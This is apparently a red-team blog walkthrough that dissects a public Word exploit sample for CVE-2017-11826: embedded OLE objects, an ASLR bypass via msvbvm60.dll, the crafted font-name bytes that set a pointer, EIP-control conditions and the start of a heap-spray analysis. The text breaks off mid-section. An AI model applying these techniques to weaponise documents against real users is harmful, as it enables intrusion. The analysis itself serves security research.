Cybersecurity blog header

Exploiting Word: CVE-2017-11826

Coincidentially with the beginning of an APT simulation engagement in the Red Teaming, a patch was issued my Microsoft fixing some vulnerabilities (CVE-2017-11826) affecting MS Office. The patch, which fixed a memory corruption bug, was first published on October 10th. On October 11th, Quihoo 360 Core Security reported having found malware exploiting said vulnerability during the previous month.

Due to the existence of public malware samples exploiting this vulnerability and the time lapse between the release of the patch and it being applied, it was decided to begin the engagement by exploiting this vulnerability. In this post we will briefly describe the contents of the Word exploit sample, and we will explain how we can modify it to our benefit, allowing us to deploy our custom APT solution.

0x01 – Initial analysis of the sample with CVE-2017-11826

The sample is a RTF file. After analyzing its contents, we found the following components:

$ rtfobj cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
rtfobj 0.51 - https://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===============================================================================
File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes
---+----------+-------------------------------+-------------------------------
id |index     |OLE Object                     |OLE Package
---+----------+-------------------------------+-------------------------------
0  |0003972Dh |format_id: 1 (Linked)          |Not an OLE Package
   |          |class name: ''                 |
   |          |data size: N/A                 |
---+----------+-------------------------------+-------------------------------
1  |00039807h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 53248               |
---+----------+-------------------------------+-------------------------------
2  |000538E9h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 14336               |
---+----------+-------------------------------+-------------------------------

If we dump the contents of the RTF file and look for the three objects, we find the following:

$ python2 rtf.py --input cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 --dump
[...]
        object
        objemb
            *
            oleclsid
            '7bD5DE8D20-5BB8-11D1-A1E3-00A0C90F2731
            '7d
            *
            objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000
            result
                pict
                wmetafile8
                picw1
                pich1
                
        object
        objemb
        objsetsize
        objw9361
        objh764
            *
            objclass Word.Document.12
            *
            objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000d00000d0cf11e0a1b11ae
[...]
        object
        objemb
        objsetsize
        objw9361
        objh764
            *
            objclass Word.Document.12
            *
            objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000380000d0cf11e0a1b11ae1

The first object loads the library identified by the CLSID D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731. We can look for it in the Windows registry to know which module it points to:

C:Usersjavier.gil>reg query HKEY_CLASSES_ROOT /F "D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731" /c /s

HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}

End of search: 1 match(es) found.

C:Usersjavier.gil>reg query HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}

HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
    (Default)    REG_SZ    VBPropertyBag

HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32

C:Usersjavier.gil>reg query HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32

HKEY_CLASSES_ROOTWOW6432NodeCLSID{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}InProcServer32
    (Default)    REG_SZ    C:WindowsSysWOW64msvbvm60.dll
    ThreadingModel    REG_SZ    Apartment

This will make Word load that library in memory. Why is it so special?

msvbvm60 with no ASLR

msvbvm60 with no ASLR

So, by loading this module there will be known code at a fixed address, which is a nice ASLR bypass.

The two remaining objects are Word files. We can use rtfobj to extract them:

$ rtfobj -s all cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
rtfobj 0.51 - https://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===============================================================================
File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes
---+----------+-------------------------------+-------------------------------
id |index     |OLE Object                     |OLE Package
---+----------+-------------------------------+-------------------------------
0  |0003972Dh |format_id: 1 (Linked)          |Not an OLE Package
   |          |class name: ''                 |
   |          |data size: N/A                 |
---+----------+-------------------------------+-------------------------------
1  |00039807h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 53248               |
---+----------+-------------------------------+-------------------------------
2  |000538E9h |format_id: 2 (Embedded)        |Not an OLE Package
   |          |class name: 'Word.Document.12' |
   |          |data size: 14336               |
---+----------+-------------------------------+-------------------------------
Saving raw data in object #0:
  saving object to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
Saving file embedded in OLE object #1:
  format_id  = 2
  class name = 'Word.Document.12'
  data size  = 53248
  saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
Saving file embedded in OLE object #2:
  format_id  = 2
  class name = 'Word.Document.12'
  data size  = 14336
  saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
 
$ l
total 748K
drwxr-xr-x  2 i i 4.0K Nov 30 11:27 .
drwxr-xr-x 11 i i 4.0K Nov 30 11:27 ..
-rw-r--r--  1 i i 665K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
-rw-r--r--  1 i i   45 Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
-rw-r--r--  1 i i  52K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
-rw-r--r--  1 i i  14K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc

$ file *
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5:                     Rich Text Format data, version 1, unknown character set
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw: locale data table
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc: Composite Document File V2 Document, Cannot read section info
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc: Composite Document File V2 Document, Cannot read section info

$ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -d 00039807.doc                                                                                                                             [55/515]
Archive:  cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc]:  1536 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: 00039807.doc/docProps/app.xml
  inflating: 00039807.doc/docProps/core.xml
   creating: 00039807.doc/word/activeX/
  inflating: 00039807.doc/word/activeX/activeX1.bin
  inflating: 00039807.doc/word/activeX/activeX1.xml
  inflating: 00039807.doc/word/activeX/activeX10.xml
  inflating: 00039807.doc/word/activeX/activeX11.xml
  inflating: 00039807.doc/word/activeX/activeX12.xml
  inflating: 00039807.doc/word/activeX/activeX13.xml
  inflating: 00039807.doc/word/activeX/activeX14.xml
  inflating: 00039807.doc/word/activeX/activeX15.xml
  inflating: 00039807.doc/word/activeX/activeX16.xml
  inflating: 00039807.doc/word/activeX/activeX17.xml
  inflating: 00039807.doc/word/activeX/activeX18.xml
  inflating: 00039807.doc/word/activeX/activeX19.xml
  inflating: 00039807.doc/word/activeX/activeX2.xml
  inflating: 00039807.doc/word/activeX/activeX20.xml
  inflating: 00039807.doc/word/activeX/activeX21.xml
  inflating: 00039807.doc/word/activeX/activeX22.xml
  inflating: 00039807.doc/word/activeX/activeX23.xml
  inflating: 00039807.doc/word/activeX/activeX24.xml
  inflating: 00039807.doc/word/activeX/activeX25.xml
  inflating: 00039807.doc/word/activeX/activeX26.xml
  inflating: 00039807.doc/word/activeX/activeX27.xml
  inflating: 00039807.doc/word/activeX/activeX28.xml
  inflating: 00039807.doc/word/activeX/activeX29.xml
  inflating: 00039807.doc/word/activeX/activeX3.xml
  inflating: 00039807.doc/word/activeX/activeX30.xml
  inflating: 00039807.doc/word/activeX/activeX31.xml
  inflating: 00039807.doc/word/activeX/activeX32.xml
  inflating: 00039807.doc/word/activeX/activeX33.xml
  inflating: 00039807.doc/word/activeX/activeX34.xml
  inflating: 00039807.doc/word/activeX/activeX35.xml
  inflating: 00039807.doc/word/activeX/activeX36.xml
  inflating: 00039807.doc/word/activeX/activeX37.xml
  inflating: 00039807.doc/word/activeX/activeX38.xml
  inflating: 00039807.doc/word/activeX/activeX39.xml
  inflating: 00039807.doc/word/activeX/activeX4.xml
  inflating: 00039807.doc/word/activeX/activeX40.xml
  inflating: 00039807.doc/word/activeX/activeX5.xml
  inflating: 00039807.doc/word/activeX/activeX6.xml
  inflating: 00039807.doc/word/activeX/activeX7.xml
  inflating: 00039807.doc/word/activeX/activeX8.xml
  inflating: 00039807.doc/word/activeX/activeX9.xml
   creating: 00039807.doc/word/activeX/_rels/
  inflating: 00039807.doc/word/activeX/_rels/activeX1.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX10.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX11.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX12.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX13.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX14.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX15.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX16.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX17.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX18.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX19.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX2.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX20.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX21.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX22.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX23.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX24.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX25.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX26.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX27.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX28.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX29.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX3.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX30.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX31.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX32.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX33.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX34.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX35.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX36.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX37.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX38.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX39.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX4.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX40.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX5.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX6.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX7.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX8.xml.rels
  inflating: 00039807.doc/word/activeX/_rels/activeX9.xml.rels
  inflating: 00039807.doc/word/document.xml
  inflating: 00039807.doc/word/fontTable.xml
  inflating: 00039807.doc/word/media/image1.wmf
  inflating: 00039807.doc/word/settings.xml
  inflating: 00039807.doc/word/styles.xml
  inflating: 00039807.doc/word/theme/theme1.xml
  inflating: 00039807.doc/word/webSettings.xml
  inflating: 00039807.doc/word/_rels/document.xml.rels
  inflating: 00039807.doc/[Content_Types].xml
  inflating: 00039807.doc/_rels/.rels

$ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -d 000538E9.doc
Archive:  cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc]:  1536 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: 000538E9.doc/docProps/app.xml
  inflating: 000538E9.doc/docProps/core.xml
  inflating: 000538E9.doc/word/document.xml
  inflating: 000538E9.doc/word/endnotes.xml
  inflating: 000538E9.doc/word/fontTable.xml
  inflating: 000538E9.doc/word/footnotes.xml
  inflating: 000538E9.doc/word/settings.xml
  inflating: 000538E9.doc/word/styles.xml
  inflating: 000538E9.doc/word/theme/theme1.xml
  inflating: 000538E9.doc/word/webSettings.xml
  inflating: 000538E9.doc/word/_rels/document.xml.rels
  inflating: 000538E9.doc/[Content_Types].xml
  inflating: 000538E9.doc/_rels/.rels

unzip warns us that there are 1536 extra bytes at the beginning of both ZIP files. This is because objects embeded in RTF files are not docx, but CDF instead. CDF is a file format created by Microsoft, which is basically a file container. (https://en.wikipedia.org/wiki/Compound_File_Binary_Format)

We will see how to handle that kind of files later, but for now lets keep analyzing those Word documents.

0x02 – Analysis of the vulnerabilty

This file has very little content. We can start by examining document.xml:

$ xmllint word/document.xml
word/document.xml:7: parser error : Opening and ending tag mismatch: font line 6 and OLEObject
 </o:OLEObject>
 ^
word/document.xml:8: parser error : Opening and ending tag mismatch: OLEObject line 5 and shapeDefaults
 </w:shapeDefaults>
 ^
word/document.xml:9: parser error : Opening and ending tag mismatch: shapeDefaults line 4 and body
 </w:body>
 ^
word/document.xml:10: parser error : Opening and ending tag mismatch: body line 3 and document
</w:document>
 ^
word/document.xml:10: parser error : Premature end of data in tag document line 2
</w:document>

It seems it is a malformed file, as it has some non-matching XML tags.

$ cat word/document.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:ve="https://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="https://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="https://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="https://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="https://schemas.microsoft.com/office/word/2006/wordml">
 <w:body >
 <w:shapeDefaults >
 <o:OLEObject >
 <w:font w:name="LincerCharChar裬࢈font:batang"><o:idmap/>
 </o:OLEObject>
 </w:shapeDefaults>
 </w:body>
</w:document>

We can see that the tag is closed with . Also, there are some weird characters in between:

[0x00000000 0% 2304 word/document.xml]> xc
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0123456789ABCDEF comment
[...]
0x000002a0 6175 6c74 7320 3e0d 0a09 0909 3c6f 3a4f 4c45 4f62 6a65 6374 203e 0d0a 0909 0909 aults >.....<o:OLEObject >......
0x000002c0 3c77 3a66 6f6e 7420 773a 6e61 6d65 3d22 4c69 6e63 6572 4368 6172 4368 6172 e8a3 <w:font w:name="LincerCharChar..
0x000002e0 ace0 a288 666f 6e74 efbc 9a62 6174 616e 6722 3e3c 6f3a 6964 6d61 702f 3e0d 0a09 ....font...batang"><o:idmap/>...
0x00000300 0909 3c2f 6f3a 4f4c 454f 626a 6563 743e 0d0a 0909 3c2f 773a 7368 6170 6544 6566 ..</o:OLEObject>....</w:shapeDef
0x00000320 6175 6c74 733e 0d0a 093c 2f77 3a62 6f64 793e 0d0a 3c2f 773a 646f 6375 6d65 6e74 aults>...</w:body>..</w:document
0x00000340 3eff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff >...............................

We note the bytes e8a3ace0a288 for later.

Lets do a quick WinDbg session of the execution of the exploit. To do so, open the RTF file and attach it in WinDbg.

0:014> g
ModLoad: 69700000 6978c000   C:WindowsSysWOW64UIAutomationCore.DLL
ModLoad: 75510000 75515000   C:Windowssyswow64PSAPI.DLL
ModLoad: 696c0000 696fc000   C:WindowsSysWOW64OLEACC.dll
(814.e80): Unknown exception - code e0000002 (first chance)
ModLoad: 69680000 696b1000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT532.CNV
ModLoad: 69660000 6967f000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll
ModLoad: 69630000 6965f000   SHDOCVW.dll
ModLoad: 69600000 6962f000   C:WindowsSysWOW64shdocvw.dll
ModLoad: 69680000 696be000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT632.CNV
ModLoad: 69640000 6965f000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll
ModLoad: 69640000 69671000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT532.CNV
ModLoad: 696a0000 696bf000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll
ModLoad: 69640000 6967e000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVWPFT632.CNV
ModLoad: 69680000 6969f000   C:Program Files (x86)Common FilesMicrosoft SharedTEXTCONVmsconv97.dll
(814.e80): Unknown exception - code e0000002 (first chance)
(814.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - 
eax=088888ec ebx=00000000 ecx=088888ec edx=00000004 esi=0937b008 edi=0938854c
eip=6f6c82a3 esp=0029457c ebp=002945e8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
wwlib!DllGetLCID+0x2e1e19:
6f6c82a3 8b08            mov     ecx,dword ptr [eax]  ds:002b:088888ec=????????

It seems there is something wrong in the exploit, as the process is crashing when attempting to read from an invalid memory address. Some context:

0:000> ub;u
wwlib!DllGetLCID+0x2e1dfc:
6f6c8286 0f84d268e9ff    je      wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c828c 8b4944          mov     ecx,dword ptr [ecx+44h]
6f6c828f 85c9            test    ecx,ecx
6f6c8291 0f84c768e9ff    je      wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c8297 8b4744          mov     eax,dword ptr [edi+44h]
6f6c829a 894844          mov     dword ptr [eax+44h],ecx
6f6c829d 8b4744          mov     eax,dword ptr [edi+44h]
6f6c82a0 8b4044          mov     eax,dword ptr [eax+44h]
wwlib!DllGetLCID+0x2e1e19:
6f6c82a3 8b08            mov     ecx,dword ptr [eax]
6f6c82a5 50              push    eax
6f6c82a6 ff5104          call    dword ptr [ecx+4]
6f6c82a9 e9b068e9ff      jmp     wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
6f6c82ae 83f802          cmp     eax,2
6f6c82b1 750f            jne     wwlib!DllGetLCID+0x2e1e38 (6f6c82c2)
6f6c82b3 8d4624          lea     eax,[esi+24h]
6f6c82b6 50              push    eax

The function seems to be loading an object from eax and then calling a method at offset 0x04, passing its own reference in eax.

Where does the value 0x088888ec come from? Why is Word crashing? Lets look back at the value we found in document.xml: e8a3ace0a288. Are they related?

Office XML files are UTF-8 encoded. However, Windows apps use UTF-16 internally:

$ python2
Python 2.7.14 (default, Sep 20 2017, 01:25:59)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> x = "e8a3ace0a288".decode("hex")
>>> unicode(x.decode("utf-8")).encode("utf-16-le")
'xecx88x88x08'
>>> hex(struct.unpack("<L", "xecx88x88x08")[0])
'0x88888ec'

Bingo :)

So, if we modify this value we can make Word execute the following instructions. Lets set EAX = X:

6f6c82a3 8b08            mov     ecx,dword ptr [X]
6f6c82a5 50              push    X
6f6c82a6 ff5104          call    dword ptr [X+4]

Therefore, if we want to control EIP (which we certainly do), we need to put the following data in a controlled memory address:

Dirección    Valor
X            X
X + 4        EIP objetivo

How can we meet this conditions? The sample’s authors made it by using a heap spray.

0x03 – Analysis of the heap spray

When we looked at the contents of the first object, cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc, the pressence of 40 activeX objects immediately caught our attention. This reminds us of the classic Office heap spraying technique.

Lets examine document.xml, which describes the contents of the file:

[...]
 &lt;w:object w:dxaOrig="1440" w:dyaOrig="1440">
 &lt;v:shape id="_x0000_i1060" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 &lt;v:imagedata r:id="rId4" o:title=""/>
 &lt;/v:shape>
 &lt;w:control r:id="rId6" w:name="Image117" w:shapeid="_x0000_i1060"/>
 &lt;/w:object>
 &lt;/w:r>
 &lt;w:r>
 &lt;w:object w:dxaOrig="1440" w:dyaOrig="1440">
 &lt;v:shape id="_x0000_i1058" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 &lt;v:imagedata r:id="rId4" o:title=""/>
 &lt;/v:shape>
 &lt;w:control r:id="rId7" w:name="Image116" w:shapeid="_x0000_i1058"/>
 &lt;/w:object>
 &lt;/w:r>
 &lt;w:r>
 &lt;w:object w:dxaOrig="1440" w:dyaOrig="1440">
 &lt;v:shape id="_x0000_i1056" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 &lt;v:imagedata r:id="rId4" o:title=""/>
 &lt;/v:shape>
 &lt;w:control r:id="rId8" w:name="Image115" w:shapeid="_x0000_i1056"/>
 &lt;/w:object>
 &lt;/w:r>
 &lt;w:r>
 &lt;w:object w:dxaOrig="1440" w:dyaOrig="1440">
 &lt;v:shape id="_x0000_i1054" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 &lt;v:imagedata r:id="rId4" o:title=""/>
 &lt;/v:shape>
 &lt;w:control r:id="rId9" w:name="Image114" w:shapeid="_x0000_i1054"/>
 &lt;/w:object>
 &lt;/w:r>
 &lt;w:r>
 &lt;w:object w:dxaOrig="1440" w:dyaOrig="1440">
 &lt;v:shape id="_x0000_i1052" type="#_x0000_t75" style="width:1in;height:1in" o:ole="">
 &lt;v:imagedata r:id="rId4" o:title=""/>
 &lt;/v:shape>
 &lt;w:control r:id="rId10" w:name="Image113" w:shapeid="_x0000_i1052"/>
 &lt;/w:object>
 &lt;/w:r>
 &lt;w:r>
[...]

Its contents have been trimmed here to avoid making this post excessively long, but the original one has several embeded controls (from rId5 to rId44). This is the content of word/_rels/document.xml.rels:

&lt;Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships">
 &lt;Relationship Id="rId8" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX4.xml"/>
 &lt;Relationship Id="rId13" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX9.xml"/>
 &lt;Relationship Id="rId18" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX14.xml"/>
 &lt;Relationship Id="rId26" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX22.xml"/>
 &lt;Relationship Id="rId39" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX35.xml"/>
 &lt;Relationship Id="rId3" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/>
 &lt;Relationship Id="rId21" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX17.xml"/>
 &lt;Relationship Id="rId34" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX30.xml"/>
 &lt;Relationship Id="rId42" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX38.xml"/>
 &lt;Relationship Id="rId7" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX3.xml"/>
 &lt;Relationship Id="rId12" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX8.xml"/>
 &lt;Relationship Id="rId17" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX13.xml"/>
 &lt;Relationship Id="rId25" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX21.xml"/>
 &lt;Relationship Id="rId33" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX29.xml"/>
 &lt;Relationship Id="rId38" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX34.xml"/>
 &lt;Relationship Id="rId46" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
 &lt;Relationship Id="rId2" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
 &lt;Relationship Id="rId16" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX12.xml"/>
 &lt;Relationship Id="rId20" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX16.xml"/>
 &lt;Relationship Id="rId29" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX25.xml"/>
 &lt;Relationship Id="rId41" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX37.xml"/>
 &lt;Relationship Id="rId1" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
 &lt;Relationship Id="rId6" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX2.xml"/>
 &lt;Relationship Id="rId11" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX7.xml"/>
 &lt;Relationship Id="rId24" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX20.xml"/>
 &lt;Relationship Id="rId32" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX28.xml"/>
 &lt;Relationship Id="rId37" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX33.xml"/>
 &lt;Relationship Id="rId40" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX36.xml"/>
 &lt;Relationship Id="rId45" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>
 &lt;Relationship Id="rId5" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX1.xml"/>
 &lt;Relationship Id="rId15" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX11.xml"/>
 &lt;Relationship Id="rId23" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX19.xml"/>
 &lt;Relationship Id="rId28" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX24.xml"/>
 &lt;Relationship Id="rId36" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX32.xml"/>
 &lt;Relationship Id="rId10" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX6.xml"/>
 &lt;Relationship Id="rId19" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX15.xml"/>
 &lt;Relationship Id="rId31" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX27.xml"/>
 &lt;Relationship Id="rId44" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX40.xml"/>
 &lt;Relationship Id="rId4" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.wmf"/>
 &lt;Relationship Id="rId9" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX5.xml"/>
 &lt;Relationship Id="rId14" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX10.xml"/>
 &lt;Relationship Id="rId22" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX18.xml"/>
 &lt;Relationship Id="rId27" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX23.xml"/>
 &lt;Relationship Id="rId30" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX26.xml"/>
 &lt;Relationship Id="rId35" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX31.xml"/>
 &lt;Relationship Id="rId43" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX39.xml"/>
&lt;/Relationships>

We can see that most of them reference some activeX control. Those documents are all the same and contain:

